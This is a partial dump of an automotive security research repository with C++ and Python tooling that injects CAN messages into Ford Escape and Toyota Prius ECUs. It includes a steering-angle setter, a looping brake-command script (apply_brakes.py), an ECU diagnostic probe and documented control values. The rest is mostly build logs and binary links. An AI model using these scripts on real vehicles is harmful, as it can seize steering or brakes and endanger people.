1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently, but
3 | // are changed infrequently
4 | //
5 |
6 | #pragma once
7 |
8 | #include "targetver.h"
9 |
10 | extern "C" {
11 | #include "..\ecomcat_api\api_file.h"
12 | }
13 |
14 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
15 | // Windows Header Files:
16 | #include
17 |
18 |
19 |
20 | // TODO: reference additional headers your program requires here
21 |
--------------------------------------------------------------------------------
/code/ecomcat_api/CarLib/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/code/ecomcat_api/CarLib_Test/CarLib_Test.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 |
14 | {A5B0FD28-F1F8-4252-913F-20B9347B87C4}
15 | Win32Proj
16 | CarLib_Test
17 |
18 |
19 |
20 | Application
21 | true
22 | Unicode
23 |
24 |
25 | Application
26 | false
27 | true
28 | Unicode
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 | true
42 |
43 |
44 | false
45 |
46 |
47 |
48 |
49 |
50 | Level3
51 | Disabled
52 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
53 |
54 |
55 | Console
56 | true
57 |
58 |
59 |
60 |
61 | Level3
62 |
63 |
64 | MaxSpeed
65 | true
66 | true
67 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
68 |
69 |
70 | Console
71 | true
72 | true
73 | true
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
--------------------------------------------------------------------------------
/code/ecomcat_api/CarLib_Test/main.cpp:
--------------------------------------------------------------------------------
1 | #include "..\CarLib\CarLib.h"
2 | #include
3 |
4 | int main(int argc, char *argv[])
5 | {
6 | int i = 0;
7 | // ToyotaPrius *tp = new ToyotaPrius();
8 | //tp->SetAutoBrake(0xE0FF, 10000);
9 | //tp->SetSpeed(20, 10000);
10 | //tp->SetSteeringAngle(-100, 100000);
11 |
12 | //printf("Steering Angle: %04X\n", tp->GetSteeringAngle());
13 |
14 |
15 | FordEscape *fe = new FordEscape();
16 | // fe->SetSpeed(60, 2000);
17 | // fe->SetRPM(4000, 2000);
18 |
19 | fe->SetSteeringAngle(atoi(argv[1]),atoi(argv[2]));
20 |
21 | printf("Steering Angle: %d\n", fe->GetSteeringAngle());
22 | printf("Speed: %d\n", fe->GetSpeed());
23 | printf("RPM: %d\n", fe->GetRPM());
24 | printf("Brake: %d\n", fe->GetBrakeState());
25 | printf("Gas: %d\n", fe->GetGasPedalAngle());
26 | printf("Gear: %d\n", fe->GetCurrGear());
27 | printf("Autopark: %d\n", fe->GetAutoPark());
28 |
29 | return 0;
30 | }
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarControl.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarControl.exe
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarControl.exp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarControl.exp
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarControl.ilk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarControl.ilk
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarControl.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarControl.lib
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarControl.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarControl.pdb
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarLib.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib.dll
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarLib.exp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib.exp
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarLib.ilk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib.ilk
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarLib.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib.lib
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarLib.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib.pdb
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarLib.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | "CarLib"
5 |
6 |
7 |
8 | Sets the current RPM
9 |
10 |
11 | Sets the current speed in KPH
12 |
13 |
14 | XXX NOT IMPLEMENTED
15 |
16 |
17 | XXX NOT IMPLEMENTED
18 |
19 |
20 | Gets the auto park state. Disabled: 0x00. Reduce Speed: 0x02. Searching: 0x04. Pull Forward: 0x08
21 |
22 |
23 | Gets the current gear of the car. Park: 0x10. Reverse: 0x30. Neutral: 0x50. Drive: 0x70. Low: 0xC0
24 |
25 |
26 | Gets the steering wheel angle. Range: 0x25C3 (counter clockwise) - 0x7661 (clockwise) [0x4D00 is centered]
27 |
28 |
29 | Gets the current gas pedal angle. Un-depressed: 00. Fully-depressed: 0x20
30 |
31 |
32 | Get the current brake state. Engaged: 0x01. Dis-Engaged: 0x00
33 |
34 |
35 | Gets the current RPM of the internal combustion engine
36 |
37 |
38 | Gets the current speed in MPH
39 |
40 |
41 | Sets the steering wheel angle. Range: 0x157 (counter clockwise) - 0xEA9 (clockwise) [0x0000 is centered]
42 |
43 |
44 | Sets the current speed in MPH
45 |
46 |
47 | Sets the current speed in KPH
48 |
49 |
50 | Sets the brake pressure for the auto braking capability. Range 0xE000-0x0000 [Most-to-Least]
51 |
52 |
53 | Gets the brake pressure for the auto braking capability. Range 0xE000-0x0000 [Most-to-Least]
54 |
55 |
56 | Gets the auto park state. Enabled: 0x30. Disabled: 0x10
57 |
58 |
59 | Gets the current gear of the car. Park: 0x00. Reverse: 0x10. Neutral: 0x20. Drive: 0x30. Engine Brake: 0x40
60 |
61 |
62 | Gets the steering wheel angle. Range: 0x157 (counter clockwise) - 0xEA9 (clockwise) [0x0000 is centered]
63 |
64 |
65 | Gets the current gas pedal angle. Un-depressed: 00. Fully-depressed: 0xC8
66 |
67 |
68 | Get the current brake state. Engaged: 0x04. Locked: 0x0A. Dis-Engaged: 0x00
69 |
70 |
71 | Gets the current RPM of the internal combustion engine
72 |
73 |
74 | Gets the current speed in MPH
75 |
76 |
77 | A function that will add the byte-rounded checksum at the last slot in the sff->data[] array
78 |
79 |
80 | Ford Escape constructor. This must be called before any other instance methods.
81 |
82 |
83 | Toyota Prius constructor. This must be called before any instance methods.
84 |
85 |
86 |
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarLib_Test.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib_Test.exe
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarLib_Test.exp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib_Test.exp
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarLib_Test.ilk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib_Test.ilk
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarLib_Test.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib_Test.lib
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/CarLib_Test.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/CarLib_Test.pdb
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/can_bridge.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/can_bridge.exe
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/can_bridge.ilk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/can_bridge.ilk
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/can_bridge.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/can_bridge.pdb
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/ecomcat_api.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/ecomcat_api.dll
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/ecomcat_api.exp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/ecomcat_api.exp
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/ecomcat_api.ilk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/ecomcat_api.ilk
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/ecomcat_api.lib:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/ecomcat_api.lib
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/ecomcat_api.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/ecomcat_api.pdb
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/test_api.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/test_api.exe
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/test_api.ilk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/test_api.ilk
--------------------------------------------------------------------------------
/code/ecomcat_api/Debug/test_api.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/Debug/test_api.pdb
--------------------------------------------------------------------------------
/code/ecomcat_api/apply_brakes.py.py:
--------------------------------------------------------------------------------
1 | from FordStuff import *
2 |
3 | # initalize
4 | mydll = CDLL('Debug\\ecomcat_api')
5 | # HS CAN
6 | handle = mydll.open_device(1,0)
7 | wid = 0x760
8 |
9 | if do_diagnostic_session(mydll, handle, wid, "adj"):
10 | print("Started diagnostic session")
11 |
12 | while True:
13 | print(do_proprietary(mydll, handle, wid, 0x3c, [0x7f]))
14 |
15 | mydll.close_device(handle)
16 |
--------------------------------------------------------------------------------
/code/ecomcat_api/check_diagnostics.py:
--------------------------------------------------------------------------------
1 | from PyEcom import *
2 | from config import *
3 |
4 | if __name__ == "__main__":
5 | print("[*] Starting Prius diagnostics check...")
6 | ecom = PyEcom('Debug\\ecomcat_api')
7 | ecom.open_device(0,1)
8 |
9 | diag_req = [0x10, PriusDiagCode]
10 |
11 | for ecu_num, ecu_str in PriusECU.items():
12 |
13 | print("DaigCheck...[0x%04X] => %s..." % (ecu_num, ecu_str))
14 | if ret := ecom.diagnostic_session(ecu_num, diag_req):
15 | print("SUCCEEDED!\n")
16 |
17 | else:
18 | print("FAILED\n")
19 | for ecu_sub_num, ecu_str in PriusMainECU.items():
20 | print("DiagCheck...[0x0750:0x%02X] => %s..." % (ecu_sub_num, ecu_str))
21 | if ret := ecom.diagnostic_session(0x750, diag_req, ecu_sub_num):
22 | print("SUCCEEDED!\n")
23 | else:
24 | print("FAILED\n")
25 |
26 |
27 |
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 11.00
3 | # Visual Studio 2010
4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ecomcat_api", "ecomcat_api\ecomcat_api.vcxproj", "{8C7D5D91-37E6-43F6-8BA4-89584E036732}"
5 | EndProject
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "test_api", "test_api\test_api.vcxproj", "{E76CDB5C-F3D9-48A0-9972-0C1CEEBA7D02}"
7 | ProjectSection(ProjectDependencies) = postProject
8 | {8C7D5D91-37E6-43F6-8BA4-89584E036732} = {8C7D5D91-37E6-43F6-8BA4-89584E036732}
9 | EndProjectSection
10 | EndProject
11 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CarLib", "CarLib\CarLib.vcxproj", "{9DCE6AEE-F07B-48F0-88A2-0E60453373D0}"
12 | EndProject
13 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CarLib_Test", "CarLib_Test\CarLib_Test.vcxproj", "{A5B0FD28-F1F8-4252-913F-20B9347B87C4}"
14 | ProjectSection(ProjectDependencies) = postProject
15 | {9DCE6AEE-F07B-48F0-88A2-0E60453373D0} = {9DCE6AEE-F07B-48F0-88A2-0E60453373D0}
16 | EndProjectSection
17 | EndProject
18 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CarControl", "CarControl\CarControl.vcxproj", "{50ACE6CC-B9B6-455F-8658-FCC764AF42A3}"
19 | EndProject
20 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "can_bridge", "can_bridge\can_bridge.vcxproj", "{38F0A7C4-E4B1-4B14-BBE3-7FAC1142AF9B}"
21 | EndProject
22 | Global
23 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
24 | Debug|Win32 = Debug|Win32
25 | Release|Win32 = Release|Win32
26 | EndGlobalSection
27 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
28 | {8C7D5D91-37E6-43F6-8BA4-89584E036732}.Debug|Win32.ActiveCfg = Debug|Win32
29 | {8C7D5D91-37E6-43F6-8BA4-89584E036732}.Debug|Win32.Build.0 = Debug|Win32
30 | {8C7D5D91-37E6-43F6-8BA4-89584E036732}.Release|Win32.ActiveCfg = Release|Win32
31 | {8C7D5D91-37E6-43F6-8BA4-89584E036732}.Release|Win32.Build.0 = Release|Win32
32 | {E76CDB5C-F3D9-48A0-9972-0C1CEEBA7D02}.Debug|Win32.ActiveCfg = Debug|Win32
33 | {E76CDB5C-F3D9-48A0-9972-0C1CEEBA7D02}.Debug|Win32.Build.0 = Debug|Win32
34 | {E76CDB5C-F3D9-48A0-9972-0C1CEEBA7D02}.Release|Win32.ActiveCfg = Release|Win32
35 | {E76CDB5C-F3D9-48A0-9972-0C1CEEBA7D02}.Release|Win32.Build.0 = Release|Win32
36 | {9DCE6AEE-F07B-48F0-88A2-0E60453373D0}.Debug|Win32.ActiveCfg = Debug|Win32
37 | {9DCE6AEE-F07B-48F0-88A2-0E60453373D0}.Debug|Win32.Build.0 = Debug|Win32
38 | {9DCE6AEE-F07B-48F0-88A2-0E60453373D0}.Release|Win32.ActiveCfg = Release|Win32
39 | {9DCE6AEE-F07B-48F0-88A2-0E60453373D0}.Release|Win32.Build.0 = Release|Win32
40 | {A5B0FD28-F1F8-4252-913F-20B9347B87C4}.Debug|Win32.ActiveCfg = Debug|Win32
41 | {A5B0FD28-F1F8-4252-913F-20B9347B87C4}.Debug|Win32.Build.0 = Debug|Win32
42 | {A5B0FD28-F1F8-4252-913F-20B9347B87C4}.Release|Win32.ActiveCfg = Release|Win32
43 | {A5B0FD28-F1F8-4252-913F-20B9347B87C4}.Release|Win32.Build.0 = Release|Win32
44 | {50ACE6CC-B9B6-455F-8658-FCC764AF42A3}.Debug|Win32.ActiveCfg = Debug|Win32
45 | {50ACE6CC-B9B6-455F-8658-FCC764AF42A3}.Debug|Win32.Build.0 = Debug|Win32
46 | {50ACE6CC-B9B6-455F-8658-FCC764AF42A3}.Release|Win32.ActiveCfg = Release|Win32
47 | {50ACE6CC-B9B6-455F-8658-FCC764AF42A3}.Release|Win32.Build.0 = Release|Win32
48 | {38F0A7C4-E4B1-4B14-BBE3-7FAC1142AF9B}.Debug|Win32.ActiveCfg = Debug|Win32
49 | {38F0A7C4-E4B1-4B14-BBE3-7FAC1142AF9B}.Debug|Win32.Build.0 = Debug|Win32
50 | {38F0A7C4-E4B1-4B14-BBE3-7FAC1142AF9B}.Release|Win32.ActiveCfg = Release|Win32
51 | {38F0A7C4-E4B1-4B14-BBE3-7FAC1142AF9B}.Release|Win32.Build.0 = Release|Win32
52 | EndGlobalSection
53 | GlobalSection(SolutionProperties) = preSolution
54 | HideSolutionNode = FALSE
55 | EndGlobalSection
56 | EndGlobal
57 |
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api.suo
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/CL.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/CL.read.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/CL.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/CL.write.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/api_file.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/api_file.obj
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/cl.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/cl.command.1.tlog
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/ecomcat_api.Build.CppClean.log:
--------------------------------------------------------------------------------
1 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\DEBUG\ECOMCAT_API.DLL
2 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\Debug\ecomcat_api.exp
3 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\DEBUG\ECOMCAT_API.ILK
4 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\Debug\ecomcat_api.lib
5 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\DEBUG\ECOMCAT_API.PDB
6 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\DEBUG\ECOMCAT_API.XML
7 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\API_FILE.OBJ
8 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\cl.command.1.tlog
9 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\CL.read.1.tlog
10 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\CL.write.1.tlog
11 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\ECOMCAT_API.DLL.EMBED.MANIFEST
12 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\ECOMCAT_API.DLL.EMBED.MANIFEST.RES
13 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\ECOMCAT_API.DLL.INTERMEDIATE.MANIFEST
14 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\ECOMCAT_API.PCH
15 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\ecomcat_api.write.1.tlog
16 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\ecomcat_api_manifest.rc
17 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.4888.read.1.tlog
18 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.4888.write.1.tlog
19 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.4888-cvtres.read.1.tlog
20 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.4888-cvtres.write.1.tlog
21 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.7496.read.1.tlog
22 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.7496.write.1.tlog
23 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.7496-cvtres.read.1.tlog
24 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.7496-cvtres.write.1.tlog
25 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.command.1.tlog
26 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.read.1.tlog
27 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link.write.1.tlog
28 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link-cvtres.read.1.tlog
29 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\link-cvtres.write.1.tlog
30 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\mt.command.1.tlog
31 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\mt.read.1.tlog
32 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\mt.write.1.tlog
33 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\rc.command.1.tlog
34 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\rc.read.1.tlog
35 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\rc.write.1.tlog
36 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\STDAFX.OBJ
37 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\STDAFX.XDC
38 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\vc100.idb
39 | C:\SVN\RESEARCH\CFT\AUTO FRAMEWORK\ECOMCAT\ECOMCAT_API\ECOMCAT_API\DEBUG\VC100.PDB
40 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\XDCMake.command.1.tlog
41 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\xdcmake.read.1.tlog
42 | C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\Debug\xdcmake.write.1.tlog
43 |
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/ecomcat_api.dll.embed.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/ecomcat_api.dll.embed.manifest.res:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/ecomcat_api.dll.embed.manifest.res
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/ecomcat_api.dll.intermediate.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/ecomcat_api.lastbuildstate:
--------------------------------------------------------------------------------
1 | #v4.0:v100:false
2 | Debug|Win32|C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\|
3 |
--------------------------------------------------------------------------------
/code/ecomcat_api/ecomcat_api/Debug/ecomcat_api.log:
--------------------------------------------------------------------------------
1 | Build started 6/25/2013 2:27:02 PM.
2 | 1>Project "C:\SVN\Research\CFT\Auto Framework\EcomCat\ecomcat_api\ecomcat_api\ecomcat_api.vcxproj" on node 3 (build target(s)).
3 | 1>InitializeBuildStatus:
4 | Creating "Debug\ecomcat_api.unsuccessfulbuild" because "AlwaysCreate" was specified.
5 | ClCompile:
6 | All outputs are up-to-date.
7 | c:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\bin\CL.exe /c /ZI /nologo /W3 /WX- /Od /Oy- /D WIN32 /D _DEBUG /D _CONSOLE /D _WINDLL /D _UNICODE /D UNICODE /Gm /EHsc /RTC1 /MDd /GS /fp:precise /Zc:wchar_t /Zc:forScope /Fo"Debug\\" /Fd"Debug\vc100.pdb" /Gd /TC /analyze- /errorReport:prompt api_file.c
8 | api_file.c
9 | 1>c:\svn\research\cft\auto framework\ecomcat\ecomcat_api\ecomcat_api\api_file.c(231): warning C4142: benign redefinition of type
10 | 1>c:\svn\research\cft\auto framework\ecomcat\ecomcat_api\ecomcat_api\api_file.c(497): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
11 | c:\program files (x86)\microsoft visual studio 10.0\vc\include\stdio.h(234) : see declaration of 'fopen'
12 | 1>c:\svn\research\cft\auto framework\ecomcat\ecomcat_api\ecomcat_api\api_file.c(533): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
13 | c:\program files (x86)\microsoft visual studio 10.0\vc\include\stdio.h(234) : see declaration of 'fopen'
14 | 1>c:\svn\research\cft\auto framework\ecomcat\ecomcat_api\ecomcat_api\api_file.c(587): warning C4018: '<' : signed/unsigned mismatch
15 | ManifestResourceCompile:
16 | All outputs are up-to-date.
17 | Link:
